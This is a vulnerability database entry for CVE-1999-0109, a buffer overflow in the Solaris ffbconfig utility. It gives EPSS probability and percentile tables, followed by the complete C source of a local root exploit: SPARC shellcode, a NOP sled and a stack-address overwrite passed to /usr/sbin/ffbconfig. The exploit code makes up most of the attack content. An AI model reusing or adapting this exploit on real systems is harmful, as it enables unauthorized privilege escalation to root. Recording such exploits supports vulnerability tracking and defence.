CVE-1999-0109 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.96%	–	–
2022-03-13	–	–	1.96%	–	–
2022-04-03	–	–	1.96%	–	–
2022-07-31	–	–	1.96%	–	–
2023-02-26	–	–	1.96%	–	–
2023-03-12	–	–	–	0.05%	–
2024-02-04	–	–	–	0.05%	–
2024-02-11	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.41%
2025-03-30	–	–	–	–	0.36%
2025-04-06	–	–	–	–	0.36%
2025-04-15	–	–	–	–	0.36%
2025-04-15	–	–	–	–	0.36,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	56%
2022-03-13	57%
2022-04-03	77%
2022-07-31	78%
2023-02-26	79%
2023-03-12	17%
2024-02-04	16%
2024-02-11	–
2024-06-02	–
2025-01-19	–
2025-03-18	59%
2025-03-30	55%
2025-04-06	56%
2025-04-15	57%
2025-04-15	57%

/* source: https://www.securityfocus.com/bid/202/info The ffbconfig program is used to configure the Creator Fast Frame Buffer (FFB) Graphics Accelerator, which is a component of the FFB Configuration Software Package (SUNWffbcf). A buffer overflow condition has been discovered that may allow an unauthorized user to gain root access on the system.The ffbconfig program is used when the FFB Graphics accelerator card is installed. Thus, to test if a system is vulnerable, run the following command to see if the SUNWffbcf package is installed./usr/bin/pkginfo -l SUNWffbcfIf the package is not present, you will receive an error message stating that SUNWffbcf was not found. If it is present, ffbconfig is installed in /usr/sbin.The following versions of SunOS are affected:SunOS versions 5.5.1 and 5.5 SPARC running the Creator FFB Graphics Accelerator. */ /* This works on Solaris 2.4 wiz /usr/sbin/ffbconfig from a Solaris 2.5 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 128 #define EXTRA 256 #define STACK_OFFSET 128 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),so; long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0); perror("execl failed"); }